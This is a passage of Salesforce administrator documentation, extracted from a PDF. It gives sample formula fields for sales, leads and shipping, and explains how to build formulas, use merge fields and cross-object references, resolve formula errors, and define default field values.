CASE(Shipping_Method__c, "Fedex", HYPERLINK("http://www.fedex.com/Tracking?ascend_header=1&clienttype =dotcom&cntry_code=us&language=english&tracknumbers= "& tracking_id__c,"Track"), "UPS", HYPERLINK("http://wwwapps.ups.com/WebTracking/processInputRequest?HTMLVersion =5.0&sort_by=status&loc=en_US&InquiryNumber1= "& tracking_id__c & "&track.x=32&track.y=7", "Track") , "DHL", HYPERLINK("http://track.dhl-usa.com/TrackByNbr.asp?ShipmentNumber=" & tracking_id__c,"Track"), "")

For details about using these functions, see CASE on page 1241 and HYPERLINK on page 1250. Skype Auto Dialer Integration This formula creates a linkable phone number field that automatically dials the phone number via the Skype VOIP phone application. It requires installation of the Skype application (a third-party product not provided by salesforce.com) on your desktop.
HYPERLINK("callto://+" & Country_Code__c & Phone_Unformatted__c, Phone)

For details about using this function, see HYPERLINK on page 1250.

Lead Management
Lead Aging (for open leads) This formula checks to see if a lead is open and if so, calculates the number of days it has been open by subtracting the date and time created from the current date and time. The result is the number of days open rounded to zero decimal places. If the lead is not open, this field is blank.
IF(ISPICKVAL(Status, "Open"), ROUND(NOW()-CreatedDate, 0), null)

1159

Customize

About Formulas

For details about using these functions, see IF on page 1251, ISPICKVAL on page 1258, ROUND on page 1271, and NOW on page 1265. Lead Data Completeness This formula calculates the percent of certain lead fields that your sales personnel enter. The formula field checks the values of two custom number fields: Phone and Email. If the fields are empty, the formula returns the value 0. The formula returns a value of 1 for each field that contains a value and multiplies this total by fifty to give you the percentage of fields that contain data.
(IF(Phone = "", 0, 1) + IF(Email = "", 0, 1) ) * 50

For details about using this function, see IF on page 1251. Lead Numbering This formula returns a number value for the text value in the auto-number field Lead Number. This can be useful if you want to use the Lead Number field in a calculation, such as round-robin or other routing purposes. Note that auto-number fields are text fields and must be converted to a number for numeric calculations.
VALUE(Lead_Number__c)

For details about using this function, see VALUE on page 1277. Round-Robin Assignment of Cases or Leads The following formula example for leads assumes you have three lead queues and you want to assign an equal number of incoming leads to each queue. You can also assign cases using a similar formula.
MOD(VALUE(Lead_Number__c), 3)

This formula is for a custom formula field named Round_Robin_ID that assigns each lead a value of 0, 1, or 2. This formula uses a custom auto-number field called Lead Number that assigns each lead a unique number starting with 1. The MOD function divides the lead number by the number of lead queues available (three in this example) and returns a remainder of 0, 1, or 2. Use the value of this formula field in your lead assignment rules to assign lead records to different queues. For example: Round_Robin_ID = 0 is assigned to Queue A Round_Robin_ID = 1 is assigned to Queue B Round_Robin_ID = 2 is assigned to Queue C

For details about using these functions, see MOD on page 1264 and VALUE on page 1277.

Metrics
Temperature Conversion This formula converts Celsius degrees to Fahrenheit.
1.8 * degrees_celsius__c + 32

For details about using these operators, see * (Multiply) on page 1235 and + (Add) on page 1234.

1160

Customize

About Formulas

Unit of Measure Conversion This formula converts kilometers to miles.


Miles__c/.621371192

For details about using this operator, see / (Divide) on page 1235.

Opportunity Management
Days Left to Close This formula returns the expected number of days left to the close date of an opportunity.
Expected_close_date__c -TODAY()

For details about using this function, see TODAY on page 1274. Display Close Month for Reporting Purposes This formula returns the month in text for the close date of an opportunity. Use this example when building a custom report that groups opportunities by the month of the Close Date.
CASE( MONTH(CloseDate), 1, "January", 2, "February", 3, "March", 4, "April", 5, "May", 6, "June", 7, "July", 8, "August", 9, "September", 10, "October", 11, "November", 12, "December", "Invalid month")

For details about using these functions, see CASE on page 1241 and MONTH on page 1265. Expected Product Revenue This formula calculates total revenue from multiple products, each with a different probability of closing.
ProductA_probability__c * ProductA_revenue__c + ProductB_probability__c * ProductB_revenue__c

For details about using these operators, see * (Multiply) on page 1235 and + (Add) on page 1234. Maintenance Calculation This formula calculates maintenance fees as 20% of license fees per year. Maintenance Years is a custom field on opportunities.
Amount * Maint_Years__c * 0.2

1161

Customize

About Formulas

For details about using this operator, see * (Multiply) on page 1235. Monthly Subscription-Based Calculated Amounts This formula calculates an opportunity amount based on a monthly subscription rate multiplied by the subscription period.
Monthly_Amount__c * Subscription_Months__c

For details about using this operator, see * (Multiply) on page 1235. Monthly Value This formula divides total yearly value by 12 months.
Total_value__c / 12

For details about using this operator, see / (Divide) on page 1235. Opportunity Additional Costs This formula calculates the sum of the product Amount, maintenance amount, and services fees. Note that Maint amount and Service Fees are custom currency fields.
Amount + Maint_Amount__c + Services_Amount__c

For details about using this operator, see + (Add) on page 1234. Opportunity Categorization This formula uses conditional logic to populate an Opportunity category text field, based on the value of the Amount standard field. Opportunities with amounts less than $1500 are Category 1, those between $1500 and $10000 are Category 2, and the rest are Category 3. This example uses nested IF statements.
IF(Amount < 1500, "Category 1", IF(Amount > 10000, "Category 3", "Category 2"))

For details about using this function, see IF on page 1251. Opportunity Data Completeness This formula takes a group of fields and calculates what percent of them are being used by your personnel. This formula field checks five fields to see if they are blank. If so, a zero is counted for that field. A 1 is counted for any field that contains a value and this total is divided by five (the number of fields evaluated). Note that this formula requires you select the Treat blank fields as blanks option under Blank Field Handling while the Advanced Formula subtab is showing.
(IF(ISBLANK(Maint_Amount__c), 0, 1) + IF(ISBLANK(Services_Amount__c), 0,1) + IF(ISBLANK(Discount_Percent__c), 0, 1) + IF(ISBLANK(Amount), 0, 1) + IF(ISBLANK(Timeline__c), 0, 1)) / 5

For details about using this function, see ISBLANK on page 1255.

1162

Customize

About Formulas

Opportunity Expected License Revenue This formula calculates expected revenue for licenses based on probability of closing.
Expected_rev_licenses__c * Probability

For details about using this operator, see * (Multiply) on page 1235. Opportunity Reminder Date This formula creates reminder date based on seven days before the close date of an opportunity. Use this formula field in a workflow rule to create an event for the appropriate user to take action.
Reminder Date = CloseDate - 7

For details about using these operators, see = and == (Equal) on page 1237 and - (Subtract) on page 1235. Opportunity Revenue Text Display This formula returns the expected revenue amount of an opportunity in text format without a dollar sign. For example, if the Expected Revenue of a campaign is $200,000, this formula field displays 200000.
TEXT(ExpectedRevenue)

For details about using this function, see TEXT on page 1273. Opportunity Split Credit for Sales Representatives This formula splits opportunity amount between multiple sales representatives. The total reps custom field indicates the total number of representatives on the deal.
Amount / total_reps__c

For details about using this operator, see / (Divide) on page 1235. Opportunity Total Deal Size This formula calculates the sum of maintenance and services amounts.
Amount + Maint_Amount__c + Services_Amount__c

For details about using this operator, see + (Add) on page 1234. Opportunity Total Price Based on Units This formula generates proposal pricing based on unit price and total volume.
Unit_price__c * Volume__c * 20

For details about using this operator, see * (Multiply) on page 1235.

1163

Customize

About Formulas

Professional Services Calculation This formula estimates professional service fees at an average loaded rate of $1200 per day. Consulting Days is a custom field on opportunities.
Consulting_Days__c * 1200

For details about using this operator, see * (Multiply) on page 1235. Stage-Based Sales Document Selection This formula Identifies a relevant document in the Documents tab based on opportunity Stage. Use document IDs in the form of 00l30000000j7AO.
CASE(StageName, "Prospecting", "Insert 1st Document ID", "Qualification", "Insert 2nd Document ID", "Needs Analysis", "Insert 3rd Document ID", "Value Proposition", ... ) )

For details about using this function, see CASE on page 1241. Sales Coach This formula creates a hyperlink that opens a stage-specific document stored in the Documents tab. It uses the previously defined custom formula field that identifies a document based on opportunity Stage. See Stage-Based Sales Document Selection on page 1164.
HYPERLINK("/servlet/servlet.FileDownload?file=" & Relevant_Document__c, "View Document in New Window")

For details about using this function, see HYPERLINK on page 1250. Shipping Cost by Weight This formula calculates postal charges based on weight.
package_weight__c * cost_lb__c

For details about using this operator, see * (Multiply) on page 1235. Shipping Cost Percentage This formula calculates shipping cost as a fraction of total amount.
Ship_cost__c / total_amount__c

For details about using this operator, see / (Divide) on page 1235.

1164

Customize

About Formulas

Tiered Commission Rates This formula calculates the 2% commission amount of an opportunity that has a probability of 100%. All other opportunities will have a commission value of zero.
IF(Probability = 1, ROUND(Amount * 0.02, 2), 0)

For details about using these functions, see IF on page 1251 and ROUND on page 1271. Total Contract Value from Recurring and Non-Recurring Revenue This formula calculates both recurring and non-recurring revenue streams over the lifetime of a contract.
Non_Recurring_Revenue__c + Contract_Length_Months__c * Recurring_Revenue__c

For details about using these operators, see + (Add) on page 1234 and * (Multiply) on page 1235.

Pricing
Total Amount This formula calculates a total amount based on unit pricing and total units.
Unit_price__c * Total_units__c

For details about using this operator, see * (Multiply) on page 1235. User Pricing This formula calculates a price per user license.
Total_license_rev__c / Number_user_licenses__c

For details about using this operator, see / (Divide) on page 1235.

Project Management
Calculate Intermediate Milestone from End Date This formula calculates intermediate milestone dates by subtracting days from the end date (for projects that are planned based on end date).
Release_Date__c - 7 * Phase_duration_in_weeks__c

For details about using this operator, see * (Multiply) on page 1235.

1165

Customize

About Formulas

Scoring Calculations
Lead Scoring This formula scores leads, providing a higher score for phone calls than website requests.
CASE(LeadSource, "Phone", 2, "Web", 1, 0)

Here's a formula that scores a lead based on his or her rating:


CASE(1, IF(ISPICKVAL(Rating, "Hot"), 1, 0), 3, IF(ISPICKVAL(Rating, "Warm"), 1, 0), 2, IF(ISPICKVAL(Rating, "Cold"), 1, 0), 1))

For details about using this function, see CASE on page 1241. Customer Success Scoring This formula uses a simple scoring algorithm to rank customers a high score for positive survey results in Salesforce.
Survey_Question_1__c * 5 + Survey_Question_2__c *2

For details about using these operators, see * (Multiply) on page 1235 and + (Add) on page 1234.

Using Formulas in Salesforce


Many areas in Salesforce use formulas. Before you begin using formulas, review the differences between the following uses for formulas: Approval Processes Defines the criteria a record must match to enter an approval process Approval Steps Defines the criteria a record must match to enter a step in an approval process Assignment Rules for Leads and Cases Specifies conditions that a lead or case must match for it to be assigned Auto-Response Rules for Leads and Cases Defines the criteria a lead or case must match to trigger an auto-response rule Case Escalation Rules Specifies conditions that a case must match for it to be escalated Default Field Values Automatically inserts a value in a custom field when a record is first created Users can change a default value if they wish. Default field values can be based on a formula using values, merge fields, or expressions you specify.

1166

Customize

About Formulas

Formula Fields Automatically calculates the value of a custom field using the values, merge fields, or expressions you specify Users cannot change the value of a formula field. Validation Rules Prevents users from entering an invalid value in a standard or custom field Validation rules can be based on formulas and display an error message to the user when the value they enter is not valid for that field. Workflow Rules Defines the criteria a record must meet to trigger a workflow rule Field Updates Automatically changes the value of a field to a value you specify You can set field updates to occur as a result of a workflow rule or an approval process. Custom Summary Formulas in Reports Automatically calculates additional totals based on existing report summaries using the values, merge fields, or expressions you specify Users cannot change these totals. Default Field Values Formula Fields Validation Rules Workflow Rules and Approval Processes Record save Not applicable Yes Field Updates Custom Summary Formulas for Reports

When are they executed? Read only? Can include functions?

Record creation Record display No Yes Yes Yes

Record save Not applicable Yes

Workflow or Report display approval process Not applicable Yes Yes Yes, a limited subset of functions Yes

Can specify null No handling?

Yes

No

No

No

1167

Customize

Building Formulas

Default Field Values

Formula Fields Validation Rules

Workflow Rules and Approval Processes Yes

Field Updates

Custom Summary Formulas for Reports No

Can include references to parent merge fields?

No

Yes

Yes

Yes

See Also:
Defining Default Field Values Building Formulas Defining Field Updates Building Custom Summary Formulas

Building Formulas
Available in: All Editions

User Permissions Needed To view formula field details: To create, change, or delete formula fields: View Setup and Configuration Customize Application

Your custom formula fields require special attributes. To build your formula: 1. Begin building a formula field the same way you create a custom field. See Creating Custom Fields on page 1092. 2. Select the data type for the formula. Choose the appropriate data type for your formula based on the output of your calculation. See Formula Data Types on page 1137. 3. Choose the number of decimal places for currency, number, or percent data types. This setting is ignored for currency fields in multicurrency organizations. Instead, the Decimal Places for your currency setting apply. Note: Salesforce uses the round half up tie-breaking rule for numbers in formula fields. For example, 12.345 becomes 12.35 and 12.345 becomes 12.34. 4. Click Next. 5. Build your formula: a. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation, assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert.

1168

Customize

Building Formulas

To create a basic formula that passes specific Salesforce data, select the Simple Formula tab, choose the field type in the Select Field Type drop-down list, and choose one of the fields listed in the Insert Field drop-down list. Tip: Build cross-object formulas to span to related objects and reference merge fields on those objects.

b. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the examples in Operators and Functions. c. Optionally, click the Advanced Formula tab to use functions and view additional operators and merge fields. Functions are prebuilt formulas that you can customize with your input parameters. For a description of each operator and function, see Operators and Functions on page 1230. d. To insert a function, double-click its name in the list, or select it and click Insert Selected Function. To filter the list of functions, choose a category from the Functions drop-down list. Select a function and click Help on this function to view a description and examples of formulas using that function. e. Consider adding comments to your formula, especially if it is complicated. Comments must begin with a forward slash followed by an asterisk (/*), and conclude with an asterisk followed by a forward slash (*/). Comments are useful for explaining specific parts of a formula to anyone viewing the formula definition. For example:
AND( /*competitor field is required, check to see if field is empty */ LEN(Competitor__c) = 0, /* rule only enforced for ABCD record types */ $RecordType.Name = "ABCD Value", /* checking for any closed status, allows for additional closed picklist values in the future */ CONTAINS(TEXT(StageName), "Closed") )

You can also use comments to comment out sections of your formula when debugging and checking the syntax to locate errors in the formula. Note: Nesting comments causes a syntax error. For example, you cannot save a formula that has the following:
/* /* comment */ */

Commenting out a whole formula causes a syntax error. Comments count against the character and byte size limits in formulas.

Note: Formula fields can contain up to 3,900 characters, including spaces, return characters, and comments. If your formula requires more characters, create separate formula fields and reference them in another formula field. The maximum number of displayed characters after an evaluation of a formula expression is 1,300 characters. 6. To check your formula for errors, click Check Syntax. 7. Optionally, enter a description of the formula in the Description box. 8. If your formula references any number, currency, or percent fields, choose an option for handling blank fields. To give any blank fields a zero value, choose Treat blank fields as zeros. To leave these fields blank, choose Treat blank fields as blanks. 9. Click Next.

1169

Customize

Building Formulas

10. Set the field-level security to determine whether the field should be visible for specific profiles, and click Next. 11. Choose the page layouts that should display the field. The field is added as the last field in the first two-column section on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page. 12. Click Save to finish or Save & New to create more custom fields. Note: Because formula fields are automatically calculated, they are read-only on record detail pages and do not update last modified date fields. Formula fields are not visible on edit pages. In account formulas, all business account fields are available as merge fields. However, account fields exclusive to person accounts such as Birthdate and Email are not available. For more information, see What is a Person Account? on page 68. Formulas on Activities that use standard fieldseither alone or in workflow rulesshouldn't be placed on both the Task and Event pages. This is because both Tasks and Events are considered Activities. For instance, if a formula is used on a standard field only available for Tasks, it will also mistakenly be pulled into Events.

See Also:
About Formulas Operators and Functions Elements of a Formula Merge Fields for Formulas Formulas: How Do I... Tips on Building Formulas Formula Errors Building Custom Summary Formulas Understanding Global Variables Quick Reference Guide: Formula Fields

Merge Fields for Formulas


Available in: All Editions

Merge fields serve as placeholders for data that will be replaced with information from your records, user information, or company information. Syntax and Formatting Merge fields for formulas arent enclosed in curly braces or preceded by an exclamation point, nor are they preceded by the type of record. For example: AccountNumber. To ensure youre using the correct syntax, use the Insert Field button or the drop-down list in the formula editor. Tips Delegated administrators need to have access to custom objects to access the objects merge fields from formulas. Some merge fields display as radio buttons but function like picklist fields when referenced in a formula.

1170

Customize

Building Formulas

Use the values Read, Edit, and None in a formula when referencing: $UserRole.CaseAccessForAccountOwner $UserRole.OpportunityAccessForAccountOwner CaseAccessLevel (on Territory) OpportunityAccessLevel (on Territory)

Use the values Read, Edit, and All in a formula when referencing: AccountAccessLevel (on Territory) If you create a contacts formula field that references account merge fields, that field can be included in contact page layouts but should not be included in person accounts page layouts. The formula field will display a value of #Error on the person accounts page. In account formulas, all business account fields are available as merge fields. However, account fields exclusive to person accounts such as Birthdate and Email are not available. To determine if a record is a task or event, use the IsTask merge field. For example:
IF(IsTask, "This is a task", "This is an event")

To reference the unique identifier for your Salesforce organization in a formula, insert the $Organization.Id merge field. This merge field can display anywhere formula fields can except in reports. Formula fields that include related object merge fields are not allowed in roll-up summary fields. Using RecordType.Id can make your formula less readable; when you do use it, write in-line comments into the formula to clarify.

See Also:
Merge Fields Overview About Formulas Understanding Global Variables Quick Reference Guide: Formula Fields

Tips on Building Formulas


Default value formulas for a type of record can only reference fields for that type of record. However, formula fields and formulas for approvals or rules, such as workflow, validation, assignment, auto-response, or escalation, for a type of record can reference fields for that type of record as well as any records that are related through a lookup or master-detail relationship. For example, a formula for a validation rule on opportunities can reference merge fields for accounts and campaigns as well as opportunities, and a formula field on accounts can reference fields for cases. Formula fields that a user can see may reference fields that are hidden or read only using field-level security. If the formula field contains sensitive information, use field-level security to hide it. See Field-Level Security Overview on page 671. You can add activity formula fields to task and event page layouts. Note that a task-related formula field on an event page layout may not be useful. Likewise, event-related formula fields on task page layouts may not be useful. To determine if a record is a task or event, use the IsTask merge field. For example:
IF(IsTask, "This is a task", "This is an event")

1171

Customize

Building Formulas

To reference the unique identifier for your Salesforce organization in a formula, insert the $Organization.Id merge field. This merge field can display anywhere formula fields can except in reports. Some merge fields display as radio buttons but function like picklist fields when referenced in a formula. Use the values Read, Edit, and None in a formula when referencing: $UserRole.CaseAccessForAccountOwner $UserRole.OpportunityAccessForAccountOwner CaseAccessLevel (on Territory) OpportunityAccessLevel (on Territory)

Use the values Read, Edit, and All in a formula when referencing: AccountAccessLevel (on Territory) If you create a contacts formula field that references account merge fields, that field can be included in contact page layouts but should not be included in person accounts page layouts. The formula field will display a value of #Error on the person accounts page.

Restrictions The following limits apply to formula fields: Character limitFormula fields can contain up to 3,900 characters, including spaces, return characters, and comments. If your formula requires more characters, create separate formula fields and reference them in another formula field. Note: The maximum number of displayed characters after an evaluation of a formula expression is 1,300 characters. Save size limitFormula fields cannot exceed 4,000 bytes when saved. The save size differs from the number of characters if you use multi-byte characters in your formula. Compile size limitFormula fields cannot exceed 5,000 bytes when compiled. The compile size is the size of the formula (in bytes) including all of the fields, values, and formulas it references. There is no direct correlation between the compile size and the character limit. Some functions, such as TEXT, DATEVALUE, DATETIMEVALUE, and DATE significantly increase the compile size. Long text area, encrypted, and Description fields are not available for use in formulas. The value of a field cannot depend on another formula that references it. Fields referenced in formulas cannot be deleted. Remove the field from the formula before deleting it. Task Due Date is not available for use in formulas. Campaign statistic fields cannot be referenced in formulas for field updates, approval processes, workflow rules, or validation rules, but can be referenced in custom formula fields. For more information, see Campaign Fields on page 3000.

Working with Date and Date/Time Fields Dates and times are always calculated using the users time zone. Date and date/time fields cannot be used interchangeably. The name alone may not indicate if a field is a date or date/time. For example, Created Date and Last Modified Date are date/time fields whereas Last Activity Date is a date field. Use the DATEVALUE function to convert a date/time field into a date field. Note: The Created Date and Last Modified Date fields display only the date, not the date and time.

1172

Customize

Building Formulas

Use addition and subtraction operators with date or date/time fields to calculate duration. For example, subtract a date from another date to calculate the number of days between the two. Likewise, you can subtract the date/time from another date/time to get the number of days between the two in the form of a number. See NOW on page 1265 or TODAY on page 1274 for suggested use. Use addition and subtraction operators with numbers to return another date or date/time. For example, {!CreatedDate} + 5 calculates the date and time five days after a records created date. Note that the expression returns the same data type as the one given; a date field plus or minus a number returns a date, and a date/time field plus or minus a number returns a date/time. When calculating dates using fractions, Salesforce ignores any numbers beyond the decimal. For example:
TODAY() + 0.7 is the same as TODAY() + 0, which is todays date TODAY() + 1.7 is the same asTODAY() + 1, which is tomorrows date TODAY() + (-1.8) is the same as TODAY() + (-1), which is yesterdays date

To calculate the value of two fractions first, group them within parentheses. For example:
TODAY() + 0.5 + 0.5 is the same as TODAY() + 0 + 0, which is todays date TODAY() + (0.5+0.5) is the same as TODAY() + 1, which is tomorrows date

Years cannot be zero and must be between -4713 and 9999.

Working with Text Fields Before using the HYPERLINK function, consider the differences between hyperlinks and custom links. Hyperlink formula fields are just like other custom fields that you can display in list views and reports. Custom links display on detail pages in a predefined section; hyperlink formula fields can display on a detail page wherever you specify. Using custom links, you can specify display properties such as window position and opening in a separate popup position; hyperlink formula fields open in a new browser window by default or you can specify a different target window or frame. Your formulas can reference custom links. Before deleting a custom link, make sure it is not referenced in a formula field. Hyperlink formula fields that contain relative URLs to Salesforce pages, such as /rpt/reportwizard.jsp, can be added to list views, reports, and related lists. However, use a complete URL, including the server name and https://, in your hyperlink formula before adding it to a search layout. Note that formula fields are not available in search result layouts. Before using the HYPERLINK function, consider these: Hyperlink formula fields open in a new browser window by default or you can specify a different target window or frame. Hyperlink formula fields that contain relative URLs to Salesforce pages can be added to list views and related lists. However, use a complete URL, including the server name and https://, in your hyperlink formula before adding it to a search layout. Note that formula fields are not available in search result layouts. To insert text in your formula field, surround the text with quotation marks. For example, to display CASE: 123, use this formula "CASE: "& CaseNumber__c. Use the backslash (\) character before a quote or backslash to insert it as a literal value in your output. For example, "Trouble\\Case \"Ticket\": " in your formula displays Trouble\Case "Ticket": on detail pages.

Working with Number Fields Use the decimal version of a percent when working with percent fields in formulas. For example, IF(Probability =1...) for 100% probability or IF(Probability =0.9...) for 90% probability.

1173

Customize

Building Formulas

Reference auto-number fields as text fields in formulas. The output of your formula must be less than 19 digits. See Formula Errors on page 1177. Formulas can contain a mix of numbers, percents, and currencies as in this example: AnnualRevenue / NumberOfEmployees. Salesforce uses the round half up tie-breaking rule for numbers in formula fields. For example, 12.345 becomes 12.35 and 12.345 becomes 12.34.

Working with Cross-Object Formulas Cross-object formulas that reference currency fields convert the value to the currency of the record that contains the formula. Salesforce allows a maximum of ten unique relationships per object in cross-object formulas. The limit is cumulative across all formula fields, rules, and lookup filters. For example, if two different formulas on opportunities reference two different fields of an associated account, only one unique relationship exists (from opportunities to accounts). You cannot reference cross-object formulas in roll-up summary fields. In cross-object formulas, you cannot reference merge fields for objects related to activities. For example, merge fields for contacts and accounts are not available in task and event formulas. In cross-object formulas, you cannot reference record owner merge fields for any object. For example, the opportunity owner's Role merge field is not available in opportunity formulas. Do not use the $RecordType global variable in cross-object formulas. The $RecordType variable only resolves to the record containing the formula, not the record to which the formula spans.

Referencing Record Types in Formulas Reference record types in formulas if you want different workflow rules, validation rules, and lookup filters to apply to different record types. For example, you can: Create a workflow rule on accounts that emails different teams depending on the account record type the user selects when creating the account. Create a validation rule on opportunities that allows only members of the North American sales team to save opportunities with the Domestic record type.

When referencing a record type in a formula, use RecordType.Id instead of RecordType.Name. If you use RecordType.Name and the record type name changes, your formula will break. The record type ID never changes. Using RecordType.Id can make your formula less readable, so use inline comments to make your formula readable. Do not use the $RecordType global variable in cross-object formulas. The $RecordType variable only resolves to the record containing the formula, not the record to which the formula spans. Working with Picklists and Multi-Select Picklists You can use special picklist fields in your formulas, such as IsEscalated for cases and IsWon for opportunities. Picklist fields can only be used in the following functions: ISPICKVALCompares the value of a picklist to a single value. CASECompares the value of a picklist to multiple values. TEXTConverts a picklist value into a text value so that you can work with the value in functions that support text value, such as CONTAINS. (Only available in formula fields, validation rules, and workflow field updates.) The TEXT function always returns picklist values in your organization's master language, not the language of the current user. Multi-select picklist fields can only be used in the following functions: INCLUDES

1174

Customize

Building Formulas

ISBLANK ISNULL ISCHANGED (Only in assignment rules, validation rules, workflow field updates, and workflow rules in which the evaluation criteria is set to Evaluate the rule when a record is: created, and every time its edited) PRIORVALUE (Only in assignment rules, validation rules, workflow field updates, and workflow rules in which the evaluation criteria is set to Evaluate the rule when a record is: created, and every time its edited)

See Also:
Building Formulas Formula Errors

What are Cross-Object Formulas?


Available in: All Editions

User Permissions Needed To create or change cross-object formulas: Customize Application

Cross-object formulas are formulas that span two related objects and reference merge fields on those objects. Cross-object formulas can reference merge fields from a master (parent) object if an object is on the detail side of a master-detail relationship. You can reference fields from objects that are up to ten relationships away. Cross-object formulas are available anywhere formulas are used except when creating default values. To create a cross-object formula when building a formula in the Simple Formula tab, enter the relationship names of the objects to which you are spanning followed by the field you want to reference. Separate the relationship names of each object and the field with periods. For example, enter Contact.Account.Name to reference the Account Name for a contact associated with a case in a formula field on the Case object. Be sure to use the relationship names of the objects, not the labels. Although the relationship name is often the same as the object name, it is technically the field name of the relationship field. For example, to reference the parent account name from Account object, the syntax is Parent.Name, not Account.Name. Also, when referencing a custom object, add two underscores and the letter r to its name. For example, Position__r.title__c references the Job Title field (title__c) on a Position custom object. To create a cross-object formula when building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation, assignment, auto-response, or escalation rules, click Insert, then click the related object to list its fields. Related objects are denoted by a > sign. Note: The value of the Profile.Name merge field differs depending on the context of the cross-object formula field that references it. On detail pages, the value is the profile name, as expected; however, in list views and reports, the value is the internal value of the associated profile instead. If you use Profile.Name in a formula, use it within an OR function to ensure the formula always returns the intended result. For example:
IF (OR

1175

Customize

Building Formulas

(LastModifiedBy.Profile.Name = "Standard User", LastModifiedBy.Profile.Name = "PT2"), "Standard", "Not Standard")

None of the above applies to profile names referenced by the $Profile global variable.

See Also:
Building Formulas Operators and Functions

Merge Fields for Cross-Object Formulas


Available in: All Editions

Merge fields serve as placeholders for data that will be replaced with information from your records, user information, or company information. Cross-object formulas are formulas that span two related objects and reference merge fields on those objects. Cross-object formulas can reference merge fields from a master (parent) object if an object is on the detail side of a master-detail relationship. You can reference fields from objects that are up to ten relationships away. Cross-object formulas are available anywhere formulas are used except when creating default values. For example, you can write a cross-object formula that references the Account Name for a contact associated with a case. In this example, you would type Contact.Account.Name in a formula on the Case object. Syntax and Formatting Merge fields for formulas arent enclosed in curly braces or preceded by an exclamation point. Use the relationship names of the objects, not the labels. Although the relationship name is often the same as the object name, it is technically the field name of the relationship field. For example, to reference the parent account name from the account object, the syntax is Parent.Name, not Account.Name. When referencing a custom object, add __r to its label. For example, to reference the custom field First Name of a candidate from the job application object, the syntax is Candidate__r.First_Name__c. Limitations You cannot reference: Merge fields for objects related to activities. For example, merge fields for contacts and accounts are not available in task and event formulas. Record owner merge fields for any object. For example, the opportunity owners Role merge field is not available in opportunity formulas. The $RecordType global variableit only resolves to the record containing the formula, not the record to which the formula spans.

Tips The Profile.Name merge field differs based on the context of the cross-object formula field that references it. Detail pagesthe profile name, as expected

1176

Customize

Building Formulas

List views and reportsthe internal value of the associated profile

See Also:
Merge Fields Overview What are Cross-Object Formulas? Understanding Global Variables

Formula Errors
Available in: All Editions

User Permissions Needed To view formula field details: To create, change, or delete formula fields: View Setup and Configuration Customize Application

#Error! displays for a formula field whenever an error occurs while calculating the value of a formula. To resolve the error, check your formula. Is the formula dividing by zero? If so, check if the denominator of your expression is zero and provide an alternative value. For example, the following campaign formula field is blank if the number of opportunities is zero:
IF(NumberOfOpportunities > 0, NumberOfWonOpportunities / NumberOfOpportunities, null)

Is the formula calculating a value larger than the maximum value of the current type? If so, you can append L to numeric values to make them Long so the intermediate products will be Long and no overflow occurs. For example, the following example shows how to correctly compute the amount of milliseconds in a year by multiplying Long numeric values.
Long MillsPerYear = 365L * 24L * 60L * 60L * 1000L; Long ExpectedValue = 31536000000L; System.assertEquals(MillsPerYear, ExpectedValue);

Is the formula calculating the square root of a negative number? If so, use an IF function similar to the one above to check if the value is a positive number. Is the formula calculating the LOG of a negative number? If so, use an IF function similar to the one above to make sure that the number is positive. Is the formula using the VALUE function with text that contains special characters? For examples of special characters, see Operators and Functions on page 1230. Make sure the formula does not contain a HYPERLINK function within a text function, such as LEFT( HYPERLINK("http://MYCOMPANY.ORG ", "MYCOMPANY ") , 5). Is the formula disabled or referencing a disabled formula field? Salesforce disables formula fields when they are deleted and they remain disabled after they are restored. To enable disabled formula fields, edit and save the field. For more information on deleted custom fields and restoring them, see Managing Deleted Custom Fields on page 1126.

1177

Customize

Defining Default Field Values

#Too Big! displays if your formula output is over 18 digits. When this happens, check your formula for calculations that could result in more than 18 digits. Avoid multiplying large numbers, raising a large number to a power, or dividing by a very small number. CASE functions return an error whenever any of the expressions return an error, regardless of which one should be returned. For example, CASE(Field__c,"Partner", "P", "Customer", "C", LEFT(Field__c, -5)) returns an error even if the value of the field is Partner or Customer because the last statement is illogical. Prevent division by zero errors by including an IF function that determines if the value of a field is zero. For example, IF(Field__c =0,0, 25/Field__c).

Defining Default Field Values


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view default field values: To define or change default field values: View Setup and Configuration Customize Application

To define a default field value: 1. Begin by creating a custom field; see Creating Custom Fields on page 1092. You can also define a default value for an existing custom field; see Editing Fields on page 1105. 2. Choose the type of field to create and click Next. For a list of the types available for default values, see About Default Field Values on page 1179. 3. Enter the attributes for the field. 4. Enter a default value or define a formula to calculate the default value: a. Click Show Formula Editor to view the formula editor. b. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation, assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert. To create a basic formula that passes specific Salesforce data, select the Simple Formula tab, choose the field type in the Select Field Type drop-down list, and choose one of the fields listed in the Insert Field drop-down list. Tip: Build cross-object formulas to span to related objects and reference merge fields on those objects.

c. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the examples in Operators and Functions. d. Double-click a function to insert it in your formula. For a description of each operator and function, see Operators and Functions on page 1230. e. To check your formula for errors, click Check Syntax. Note: You can define a formula for default values only where appropriate. For example, the default value options for picklist and checkbox fields are limited to the options available for those types of fields, such as Checked, Unchecked, or Use first value as default value.

1178

Customize

Defining Default Field Values

5. Click Next. 6. Set the field-level security to determine whether the field should be visible for specific profiles, and click Next. 7. Choose the page layouts that should display the field. The field is added as the last field in the first two-column section on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page. 8. Click Save to finish or Save & New to create more custom fields. Note: You must specify a default value for required campaign member custom fields. Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result.

See Also:
About Default Field Values Default Field Value Considerations Useful Default Field Value Formulas

About Default Field Values


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Use default field values to make your users more productive by reducing the number of fields they need to fill in manually. Default field values automatically insert the value of a custom field when a new record is created. A default value can be based on a formula for some types of fields or exact values such as Checked or Unchecked for checkbox fields. After you have defined default values: 1. 2. 3. 4. 5. The user chooses to create a new record. Default field value is executed. Salesforce displays the edit page with the default field value pre-populated. The user enters the fields for the new record. The user saves the new record.

